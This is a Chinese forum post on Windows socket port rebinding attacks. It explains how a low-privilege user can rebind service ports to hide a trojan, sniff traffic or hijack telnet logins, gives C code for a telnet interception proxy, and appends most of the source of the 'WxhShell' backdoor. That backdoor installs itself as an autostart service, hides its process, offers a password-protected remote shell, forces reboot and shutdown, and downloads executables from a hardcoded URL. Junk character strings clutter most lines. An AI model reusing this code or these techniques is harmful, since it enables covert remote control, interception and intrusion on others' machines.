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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (G>[A}-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J/?Nf2L4  
"n!yK  
  saddr.sin_family = AF_INET; tF0jH+7J-  
yJm"vN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]yU"J:/  
v~P,OP("c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q!5:M\  
B )r-,M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  .w9LJ  
zN4OrG 0  
  这意味着什么?意味着可以进行如下的攻击: do}LaUz  
18>cfDh;N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k&]nF,f  
w )R5P[b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p~qe/  
/~[Lr   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N4!`iS Y  
BX@Iq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &_ekA44E  
i--t ?@#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @X2*O9  
11[lc2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V2YK  T,5  
ETe4I`d{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x*Lt]]A  
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  #include =!O->C:  
  #include ^:eZpQ [,  
  #include 1o_kY"D<  
  #include    rl*O-S/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   157_0  
  int main() 'y8{, R4C  
  { X%1TsCKMj  
  WORD wVersionRequested; /Rp]"S vt  
  DWORD ret; kI\m0];KnQ  
  WSADATA wsaData; RU)35oEV|  
  BOOL val; Y ::0v@&(  
  SOCKADDR_IN saddr; &1xCPKIr  
  SOCKADDR_IN scaddr; UkV?,P@l  
  int err; 'Ts:.  
  SOCKET s; DX>a0-Xj  
  SOCKET sc; pm&TH d  
  int caddsize; {|+Y;V`  
  HANDLE mt; Lpchla$  
  DWORD tid;   ${+u-Wfau  
  wVersionRequested = MAKEWORD( 2, 2 ); JE?p'77C  
  err = WSAStartup( wVersionRequested, &wsaData ); FqKJids-  
  if ( err != 0 ) { ^E !v D  
  printf("error!WSAStartup failed!\n"); v\0G`&^1  
  return -1; !*IMWm>  
  } weitDr6  
  saddr.sin_family = AF_INET; =BsV`p7rU  
   mYBEjZ B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =lXj%V^8N  
^?69|,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g8),$:Uw  
  saddr.sin_port = htons(23); 2 pS<;k`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QaX.Av  
  { HDyf]2N*N  
  printf("error!socket failed!\n"); )fH Q7  
  return -1; 3KLUH=)P  
  } ]wQ!ZG?)  
  val = TRUE;  idmU.`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XGlt^<`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Vla,avON  
  { 2`yhxO  
  printf("error!setsockopt failed!\n"); ] !UYl  
  return -1; TyxIlI4"  
  } E(qYCafC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XLpP*VH3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #kg`rrF r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  urp|@WZ  
\lL[08G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mDD.D3RS  
  { 6*8Wtq  
  ret=GetLastError(); ia6 jiW x  
  printf("error!bind failed!\n"); Z['.RF'`  
  return -1; }v1wpv/b(  
  } p_r`"  
  listen(s,2); tMr7d  
  while(1) ycGY5t@K@  
  { nx9PNl@?V  
  caddsize = sizeof(scaddr); &\zYbGU  
  //接受连接请求 ~{x1/eH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EIi<g2pM(  
  if(sc!=INVALID_SOCKET) ;5a$ OM  
  { Z0|5VLk,<{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pP\Cwo #,  
  if(mt==NULL) !3Dq)ebBz  
  { o7y<Zd`Bj  
  printf("Thread Creat Failed!\n"); J?4{#p  
  break; H7O~So*N5  
  } =4y gbk  
  } *MJm:  
  CloseHandle(mt); v|?@k^Ms  
  } 'Kelq$dn#  
  closesocket(s); 68%aDs  
  WSACleanup(); *4O=4F)x  
  return 0; Wzq W1<*`  
  }   5C w( 4.  
  DWORD WINAPI ClientThread(LPVOID lpParam) p^l#Wq5  
  { uH_KOiF  
  SOCKET ss = (SOCKET)lpParam; '.}}k!#  
  SOCKET sc; w7)pBsI  
  unsigned char buf[4096]; ~Ps*i]n(  
  SOCKADDR_IN saddr; G T>'|~e  
  long num; <J%qzt}  
  DWORD val; T/$ gnn  
  DWORD ret; w+$$uz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iAd&o `C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2w>%-_]u+  
  saddr.sin_family = AF_INET; W 4{ T<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5hs_k[q  
  saddr.sin_port = htons(23); ]l7W5$26 @  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #%,X),%-  
  {  ^`H'LD  
  printf("error!socket failed!\n"); $e^"Inhtqp  
  return -1; [o^$WL?c  
  } ,@"yr>Q9#6  
  val = 100; /E>;O47a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g%2G=gR$?z  
  { m:_#kfC&K"  
  ret = GetLastError(); G<Z}G8FW^  
  return -1; e9acI>^w  
  } bR`5g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mR}8}K]L  
  { u5CSx'h]  
  ret = GetLastError(); l|g*E.:4  
  return -1; C&O8fNB_  
  } DpHubqWz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W3i<Unq  
  { +=WBH'  
  printf("error!socket connect failed!\n"); _ep&`K  
  closesocket(sc); cT(nKHL  
  closesocket(ss); (o>N*?, }  
  return -1; 6O4 *OR<&  
  } 3qV^RW&  
  while(1) k_g@4x1y*  
  { GTs,?t16/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5{ap  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 74_?@Z(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w+m7jn!$  
  num = recv(ss,buf,4096,0); EXdX%T\  
  if(num>0) n'rq  
  send(sc,buf,num,0); 2e6P?pX~2  
  else if(num==0) -O} )Y>=}  
  break; "t2T*'j{  
  num = recv(sc,buf,4096,0); mbAzn  
  if(num>0) x. t< @y~  
  send(ss,buf,num,0); _d!sSyk`  
  else if(num==0) gd[muR ~  
  break; uVYn,DB`  
  } m.P F'_)/  
  closesocket(ss); [,bJKz)a  
  closesocket(sc); :M6|V_Yp  
  return 0 ; pyf'_  
  } mR.j8pi  
@Z0. }}Y  
n6[shXH  
========================================================== GS*O{u  
gvVy0nJI~  
下边附上一个代码,,WXhSHELL Gn7\4,C  
mq{Z Q'  
========================================================== )t~ad]oM  
Tw\@]fw  
#include "stdafx.h" HubG>]  
tE>FL  
#include <stdio.h> I N@ ~~  
#include <string.h> UXZ3~/L5 O  
#include <windows.h> )g=mv*9>  
#include <winsock2.h> Qfeu3AT  
#include <winsvc.h> [,&g46x22  
#include <urlmon.h> aT/2rMKPF  
BTsvL>Wy  
#pragma comment (lib, "Ws2_32.lib") xb7!!PR  
#pragma comment (lib, "urlmon.lib") 8V(~u^!%_  
M5[#YG'FlQ  
#define MAX_USER   100 // 最大客户端连接数 "eoPG#]&  
#define BUF_SOCK   200 // sock buffer 0MT?}D&TL  
#define KEY_BUFF   255 // 输入 buffer ,%Pn.E* r;  
*7*_QW%?A  
#define REBOOT     0   // 重启 eDo4>k"5  
#define SHUTDOWN   1   // 关机 QVn2`hr  
}P=FMme{F(  
#define DEF_PORT   5000 // 监听端口 ko.% @Y(=  
.aL%}`8l?  
#define REG_LEN     16   // 注册表键长度 E; yr46  
#define SVC_LEN     80   // NT服务名长度 2w8YtM3+"z  
j %MY6"  
// 从dll定义API DN8I[5O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Zjd g`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {\?f|mm q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7|Vpk&.>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jv(E '"H  
[:,|g;=Y}  
// wxhshell配置信息 uUl ;}W  
struct WSCFG { c[1{>z{G  
  int ws_port;         // 监听端口 jKP75jm  
  char ws_passstr[REG_LEN]; // 口令 :wzbD,/M  
  int ws_autoins;       // 安装标记, 1=yes 0=no FpttH?^  
  char ws_regname[REG_LEN]; // 注册表键名 6 y"r '  
  char ws_svcname[REG_LEN]; // 服务名 h*4wi.-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "% i1zQo&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $sL+k 'dY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3b?-83a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,:.8s>+i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zBrIhL]95  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tIA)LF  
lYS4Q`z$  
}; q q^[(n  
u 'ng'j'  
// default Wxhshell configuration YC{7;=P f  
struct WSCFG wscfg={DEF_PORT, Vg (p_k45`  
    "xuhuanlingzhe", | rpMwkR  
    1, _ru<1n[4~  
    "Wxhshell", YU87l  
    "Wxhshell", U ;4;>  
            "WxhShell Service", (^=kV?<  
    "Wrsky Windows CmdShell Service", d6W&u~  
    "Please Input Your Password: ", VuBi_v6  
  1, 1^Q!EV  
  "http://www.wrsky.com/wxhshell.exe", acpc[ ^'  
  "Wxhshell.exe" \  }-v  
    }; yYC\a7Al4  
DL_M#c`<  
// 消息定义模块 hHt.N o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X7aj/:fXe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hO3C _}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y5>'(A>  
char *msg_ws_ext="\n\rExit."; LQ$dT#z2A  
char *msg_ws_end="\n\rQuit."; aBF<it>  
char *msg_ws_boot="\n\rReboot..."; OOsd*nX/  
char *msg_ws_poff="\n\rShutdown..."; 3e[k9`  
char *msg_ws_down="\n\rSave to "; [xs`Pi  
jaTCRn3|<  
char *msg_ws_err="\n\rErr!"; 7")&njQ/x  
char *msg_ws_ok="\n\rOK!"; .bMU$O1  
?$7$# DX  
char ExeFile[MAX_PATH]; ~"~uXNd  
int nUser = 0; %MfT5*||f  
HANDLE handles[MAX_USER]; BD ,3JDqT  
int OsIsNt; 51%<N\>/4  
D@mqfi(x  
SERVICE_STATUS       serviceStatus; t/"9LMKs?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,"5p=JX`  
<RkJ 7Z^  
// 函数声明 is- {U? -  
int Install(void); v2#qs*sW8  
int Uninstall(void); Zfr?(y+3  
int DownloadFile(char *sURL, SOCKET wsh); * 8D(Lp1  
int Boot(int flag); el0W0T  
void HideProc(void); (7aE!r\Ab  
int GetOsVer(void); Bq:: 5,v  
int Wxhshell(SOCKET wsl); 7"_g X  
void TalkWithClient(void *cs); =1kjKE !  
int CmdShell(SOCKET sock); 1n ZE9;o  
int StartFromService(void); $r)nvf`\  
int StartWxhshell(LPSTR lpCmdLine); Y0OVzp9 b  
{Q L qf   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )3_g&&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HPWjNwM  
PJcz] <  
// 数据结构和表定义 #`Et{6W S  
SERVICE_TABLE_ENTRY DispatchTable[] = \=g%W^i  
{ r(=3yd/G$  
{wscfg.ws_svcname, NTServiceMain}, 01^W Py9l  
{NULL, NULL} j@s,5:;[  
}; \-s'H:  
3412znM&  
// 自我安装 "V_PWEi  
int Install(void) _bq2h%G=8  
{ Eh;~y*k\  
  char svExeFile[MAX_PATH]; |c>A3 P$=B  
  HKEY key; )6zwprH!  
  strcpy(svExeFile,ExeFile); HaamLu  
d3C*]|gQ  
// 如果是win9x系统,修改注册表设为自启动 e.g$|C^$m  
if(!OsIsNt) { z//6yr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P(r}<SM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D#9W [6  
  RegCloseKey(key); k}Vu!+cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WxLILh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M*c`@\  
  RegCloseKey(key); sXSZ#@u,WN  
  return 0; pKSVT  
    } Ec]cCLB  
  } <tTn$<b  
} eVWnD,'  
else { /SD2e@x{U  
: XZ  
// 如果是NT以上系统,安装为系统服务 .~ W^P>t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p>p=nLK  
if (schSCManager!=0) iyhB;s5Rgw  
{ ffyKAZ{]po  
  SC_HANDLE schService = CreateService Xl%&hM  
  ( VuW&CnZ  
  schSCManager, (5N&bh`E  
  wscfg.ws_svcname, %lPF q-  
  wscfg.ws_svcdisp, {Z|.-~W  
  SERVICE_ALL_ACCESS, s.I=H^ T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f;%4O'  
  SERVICE_AUTO_START, m[u 6<C  
  SERVICE_ERROR_NORMAL, S,v9\wN.  
  svExeFile, NC2PW+(  
  NULL, `ml;#n,*  
  NULL, O@_)]z?jUc  
  NULL, sOW-GWSE<  
  NULL, #H1yjJQ /x  
  NULL cj<j *(ZZ  
  ); vexQP}N0  
  if (schService!=0) Hp":r%)  
  { NLF{W|X  
  CloseServiceHandle(schService); |^@TA=_  
  CloseServiceHandle(schSCManager); o0Hh&:6!M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L+QEFQ:r5  
  strcat(svExeFile,wscfg.ws_svcname); $y >J=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r jL%M';  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U07n7`2w  
  RegCloseKey(key); d=wzN3 ;-  
  return 0; ^fb4g+Au  
    } Fk 1M5Dm  
  } TaB35glLY  
  CloseServiceHandle(schSCManager); ?Zoq|Q+  
} (N43?iv(  
} H1=R(+-s  
uBs[[9je(  
return 1; ~GS`@IU}  
} PxK  
{{=7mbc  
// 自我卸载 QkzPzbF"  
int Uninstall(void) `&>!a  
{ YrgwR  
  HKEY key; O`mW,  
KFCzf_P!  
if(!OsIsNt) { yZ+o7?(2p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P*(lc:  
  RegDeleteValue(key,wscfg.ws_regname); }`  
  RegCloseKey(key); AC(}cMM+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s6).?oE  
  RegDeleteValue(key,wscfg.ws_regname); \"PlM!0du  
  RegCloseKey(key); ;mo}$^49*  
  return 0; L1"X`Pz[}  
  } P5vMy'1X  
} Ef$xum{  
} -acW[$t  
else {  Jb {m  
r0j:ll d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *RM#F !A  
if (schSCManager!=0) K| Y r  
{ m&|?mTo>m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q.6pmaXrb  
  if (schService!=0) Ctt{j'-[  
  { 1p9f& w  
  if(DeleteService(schService)!=0) { '(u[  
  CloseServiceHandle(schService); *Xl&N- 04  
  CloseServiceHandle(schSCManager); F=^vu7rf  
  return 0; zYSXG-k  
  } haa [ob6T  
  CloseServiceHandle(schService); Vv=d*  
  } ?~S\^4]  
  CloseServiceHandle(schSCManager); h.~S^uKi*  
} FK={ %  
} \&AmX8" [  
6z=:x+m  
return 1; =UNzjmP503  
} h+ELtf  
0t*q5pAG".  
// 从指定url下载文件 %wvSD&oz  
int DownloadFile(char *sURL, SOCKET wsh) /1tqTi  
{ `t ZvIy*  
  HRESULT hr; :fpYraBM  
char seps[]= "/"; /k}v m3  
char *token; %t%+;(M9  
char *file; |$9k z31  
char myURL[MAX_PATH]; &&(sZG w  
char myFILE[MAX_PATH]; S| !U=&  
K-_e' )22.  
strcpy(myURL,sURL); N9:xtrJ]_J  
  token=strtok(myURL,seps); j t-ayLq  
  while(token!=NULL) O-bC+vB]M  
  { UTmX"Li  
    file=token;  nKkI  
  token=strtok(NULL,seps); #xE" ];  
  } yZA }WTGe  
S4`uNB#Ht  
GetCurrentDirectory(MAX_PATH,myFILE); q^goi 1  
strcat(myFILE, "\\"); ; >.>vLF  
strcat(myFILE, file); P",~8Aci(  
  send(wsh,myFILE,strlen(myFILE),0); pt|u?T_+  
send(wsh,"...",3,0); ,uE WnZ"4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `N8A{8$qv  
  if(hr==S_OK) )>$xbo")k  
return 0; C8@SuJ  
else ;9 XM s)  
return 1; !>;p^^e  
w]F(o  
} $xlI"-(  
OZLU>LU  
// 系统电源模块 MBDu0 [c  
int Boot(int flag) !lL21C6g+  
{ E@P8-x'i  
  HANDLE hToken; "i4@'`r  
  TOKEN_PRIVILEGES tkp; ;l5F il,3  
HRje4=:  
  if(OsIsNt) { I`E9]b(w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >K;p+( <6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i4v7x;m_p  
    tkp.PrivilegeCount = 1; [D?RL `ZF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )iluu1,o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *)U=ZO6S  
if(flag==REBOOT) { SG;]Vr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %nP13V]  
  return 0; KS1Z&~4  
} Qy5\qW'  
else { lJu2}XRiU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nXk<DlTws  
  return 0; ^ ,U9N  
} VL&E2^*E  
  } ?7/n s>}  
  else { \BbemCPAm  
if(flag==REBOOT) { "f(iQI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z';p275  
  return 0; r^VH [c@c  
} =MRg  
else { a@lvn/b2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tlQ3 BKp  
  return 0; w,;CrW T2t  
} b qEwi[`  
} rH$0h2  
e ,k,L  
return 1; ZVR0Kzu?Ra  
} W$v5o9\Px  
uRh`qnL  
// win9x进程隐藏模块 0^5SL/2  
void HideProc(void) DL_2%&k/  
{ =Qp~@k=2  
| ?~-k[|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t+W+f  
  if ( hKernel != NULL ) &M*&oi (  
  { `<8~tS/. w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QROe+:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |\*7J!Liv  
    FreeLibrary(hKernel); RN]4Is:  
  } tb/bEy^  
8AOJ'~$  
return; 8sx\b  
} P'KaWu9z  
qi.|oL9p  
// 获取操作系统版本 ;mu9;ixZ  
int GetOsVer(void) cx&jnF#$  
{ Gyw@+(l  
  OSVERSIONINFO winfo; `QC{}Oo^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n1a;vE{!  
  GetVersionEx(&winfo); ~*ZB2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kb Fr  
  return 1; $oHlfV/!  
  else , pq<.?&E  
  return 0; iXqc$!lTH  
} 5tX|@Z: z  
~Wm`SIV  
// 客户端句柄模块 Ts:3_4-k  
int Wxhshell(SOCKET wsl) hT>h  
{ !O-q13\Y  
  SOCKET wsh; Ultx|qU  
  struct sockaddr_in client; z%Op_Ddp  
  DWORD myID; r3mB"("Z'  
tV9BVsN  
  while(nUser<MAX_USER) $Ud-aRlD  
{ @ZK#Y){  
  int nSize=sizeof(client); $M@SZknm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p)(mF"\8=  
  if(wsh==INVALID_SOCKET) return 1; o 4L9Xb7=G  
\( LKLlam  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \_#0Z+pX  
if(handles[nUser]==0) WOZf4X`[  
  closesocket(wsh); n6ETWjP  
else ^VR1whCrx  
  nUser++; 8*;G\$+  
  } Z=_p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3/H^YM @  
57'=Qz52  
  return 0; R0(Nw7!d/[  
} 2^Tj7@  
&n|#jo(gS  
// 关闭 socket h6c8hp.  
void CloseIt(SOCKET wsh) ?C(Z\"IX  
{ Ro*$7j0!Hf  
closesocket(wsh); 9 %4Pt=v~d  
nUser--; YQG[8I  
ExitThread(0); X4>c(1e  
} h `d(?1  
rteViq+|.  
// 客户端请求句柄 N{IY \/;\  
void TalkWithClient(void *cs) H'-Fv!l?  
{ UR ck#5  
g+hz>^Wg  
  SOCKET wsh=(SOCKET)cs; 8)&H=#E  
  char pwd[SVC_LEN]; IJ3[6>/ M0  
  char cmd[KEY_BUFF]; w6y?D<  
char chr[1]; 6A7UW7/  
int i,j; %f\ M61Z  
E1_FK1*V;  
  while (nUser < MAX_USER) { 46o3F"  
[-f0s;F1%  
if(wscfg.ws_passstr) { MeW8aL r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DZ?>9W{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sdz!J 1  
  //ZeroMemory(pwd,KEY_BUFF); j0L9Q|s  
      i=0; *YZ' Uy?  
  while(i<SVC_LEN) { M@UkXA}  
ez%RWck  
  // 设置超时 udX4SBq-pC  
  fd_set FdRead;  wa6DJ  
  struct timeval TimeOut; c5>&~^~>Tx  
  FD_ZERO(&FdRead); #.?DsK_:@  
  FD_SET(wsh,&FdRead); s/0-DHd  
  TimeOut.tv_sec=8; 9aD6mp  
  TimeOut.tv_usec=0; ZalG/PFy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1wmS?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j 9XY%4.  
eXx6b~D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Nj(0&  
  pwd=chr[0]; cpz}!D  
  if(chr[0]==0xd || chr[0]==0xa) { jb$sIZ%i  
  pwd=0; G1  %c<1Y  
  break; a"&@G=M@d  
  } "tBdz V  
  i++; 2GLq#")P  
    } 9-eYCg7C|  
lSC3m=4g  
  // 如果是非法用户,关闭 socket G5egyP;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BoG/Hd.S  
} Mcj4GjV6:"  
b[$%Wg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wxB?}   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {g@Wd2-J}  
1eZ">,F6<  
while(1) { ?^mgK9^v@  
B++.tQ=X.  
  ZeroMemory(cmd,KEY_BUFF); #s{>v$F  
&<R8'  
      // 自动支持客户端 telnet标准   hi"[R@UG  
  j=0; "Y }f"X|  
  while(j<KEY_BUFF) { ?t$sju(\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?z5IL;rt  
  cmd[j]=chr[0]; zLc.4k  
  if(chr[0]==0xa || chr[0]==0xd) { 1GN>,Lb: o  
  cmd[j]=0; PvBx<i}A  
  break; cEnkt=  
  } ag]b]K  
  j++; !p >a,8w  
    } nS"K dPM  
o<1e-  
  // 下载文件 GBzC<e#  
  if(strstr(cmd,"http://")) { I: U/%cr,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xcnHj1r-o'  
  if(DownloadFile(cmd,wsh)) (l{+ T#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 54WM*FZ  
  else $"0 t1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e'[T5HI  
  } *#;8mM  
  else { )|@b GEk  
A@bWlwfl  
    switch(cmd[0]) { x9xb4ZW  
  ?{?mAb c  
  // 帮助 7Gnslp?[U  
  case '?': { 9vWKyzMi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D QP#h5O  
    break; 2!\y0*}K  
  } >&TSz5Q  
  // 安装 wXPNfV<(2  
  case 'i': { FXV=D_G}  
    if(Install()) #x1AZwC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pRx^O F(3  
    else Vo+d3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R?qVFMQ  
    break; 0&=2+=[c  
    } 0*L|r Jf  
  // 卸载 k(C?6Gfj  
  case 'r': { '!Ps4ZTn_  
    if(Uninstall()) T~cq=i|O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^ (q0zR~l  
    else Msn)jh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fKOm\R47  
    break; 7Ro7/PT (  
    } UBOCd[  
  // 显示 wxhshell 所在路径 OMd{rH  
  case 'p': { Q-F'-@`(C  
    char svExeFile[MAX_PATH]; jV\M`=4IC  
    strcpy(svExeFile,"\n\r"); Q\z3YUk  
      strcat(svExeFile,ExeFile); J_}&Btb)e  
        send(wsh,svExeFile,strlen(svExeFile),0); Fe.Y4\xz  
    break; kuu9'Sqc'b  
    } 7loCb4Hv  
  // 重启 BnvUPDT&  
  case 'b': { VD/Wl2DK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 96]lI3 c  
    if(Boot(REBOOT)) WLiY:X(+|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1,`-n5@J%n  
    else { B, xrZs  
    closesocket(wsh); L$zT`1Hy  
    ExitThread(0); W=5+k0Q  
    } JmrQDO_(  
    break; &UP@Sr0D7  
    } B7nMy oj  
  // 关机 %2^C  
  case 'd': { _bqiS]:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -))>7skc  
    if(Boot(SHUTDOWN)) [P OcO  
